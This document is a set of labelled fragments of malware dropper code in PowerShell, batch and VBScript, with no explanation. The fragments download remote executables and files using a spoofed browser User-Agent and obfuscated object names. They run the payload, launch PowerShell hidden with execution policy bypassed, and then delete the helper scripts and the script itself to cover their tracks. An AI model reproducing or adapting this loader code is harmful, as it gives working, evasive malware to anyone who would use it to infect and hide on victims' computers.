<text10>$down = New-Object System.Net.WebClient;
$file = $pths+$nnm+'.exe';
$statfile = $pths+'444.jpg';
$down.headers['User-Agent'] = ''+'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/8.0 Safari/600.1.25'+'';
$dasdw='123';
$down.DownloadFile($ggtt,$file);
$down.DownloadFile($stat,$statfile);
$asdw='123';
$ScriptDir = $MyInvocation.ScriptName;
$vbsFilePath = $pths+$wehs+'.'+'v'+'bs'+'';
$statFilePath = 'c:\Users\MM\AppData\Local\Temp\444'+'.'+'j'+'pg';
$btFilePath = $pths+$wehs+'.'+'b'+'at';
$psFilePath = $pths+$wehs+'.'+'p'+'s'+'1';
Start-Sleep -s 15;
cmd.exe /c  $file;
$file1 = gci $vbsFilePath -Force
$file2 = gci $btFilePath -Force
$file3 = gci $psFilePath -Force
$kasldds = $vbsFilePath
If (Test-Path $kasldds){ Remove-Item $kasldds }
If (Test-Path $btFilePath){ Remove-Item $btFilePath }
If (Test-Path $statFilePath){ Remove-Item $statFilePath }
$jsdhyfueh2hds = 'asdghyg23d jashdhsagdhasghdhgas';
If (Test-Path $file){ Remove-Item $file }
Remove-Item $MyINvocation.InvocationName</text10>
<text20>@echo off
ping 1.1.2.2 -n 2
chcp 1251
:asdqwqdw
set Gds1="."
set Gds2="v"
set Gds3="bs"</text20>
<text21>cscript.exe %Gds4%%Gds1%%Gds2%%Gds3%
exit</text21>
<text30>Dim dff
dff = 68
currentDirectory = left(WScript.ScriptFullName,(Len(WScript.ScriptFullName))-(len(WScript.ScriptName)))
Set objFSO=CreateObject(""&"S"&"cripting.FileSystemObject"&"")
djwq = "."&"p"&"s"&"1"</text30>
<text31>Set objShell = CreateObject("Wscript.shell")
objShell.Run ""+"pow"+"erS"+""+""+"hell.exe -noexit -ExecutionPolicy bypass -noprofile -file " & currentFile,0,true</text31>
<stext1>@echo off
:pinkator
ping 1.2.3.1 -n 2
set ggtt="bs"</stext1>
<stext2>cscript.exe %trfd%%nmsj%".v"%ggtt%
ping 2.2.1.1 -n 2
:windows
%trfd%%exds%".exe"
:loop
ping 1.3.1.2 -n 1
set tar1=%nmsj%".bat"
set stat="444.png"
del %trfd%%nmsj%".v"%ggtt%
del %trfd%%tar1%
del %trfd%%stat%
if exist %trfd%%tar1% goto loop
if exist %trfd%%nmsj%".vbs" goto loop
exit</stext2>

<stext3>frgea ="M"+"SX"+"ML2.ServerX"+"MLH"+"T"+"T"+Chr(80)
Set objXMLHTTP = CreateObject(frgea)
Set sFs = CreateObject(frgea)
objXMLHTTP.open "GET", strRT, False
sFs.open "GET", statRT, False
objXMLHTTP.send()
sFs.send()
If objXMLHTTP.Status = 200 Then
uwqhda = "ADODB."
jaisd = uwqhda
Set objADOStream = CreateObject(jaisd+Chr(Sgn(-4)+84)+""&"tr"&"eam"&"")
objADOStream.Open
objADOStream.Type = 1
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0
objADOStream.SaveToFile strTecation
objADOStream.Close
Set objADOStream = Nothing
End if
Set objXMLHTTP = Nothing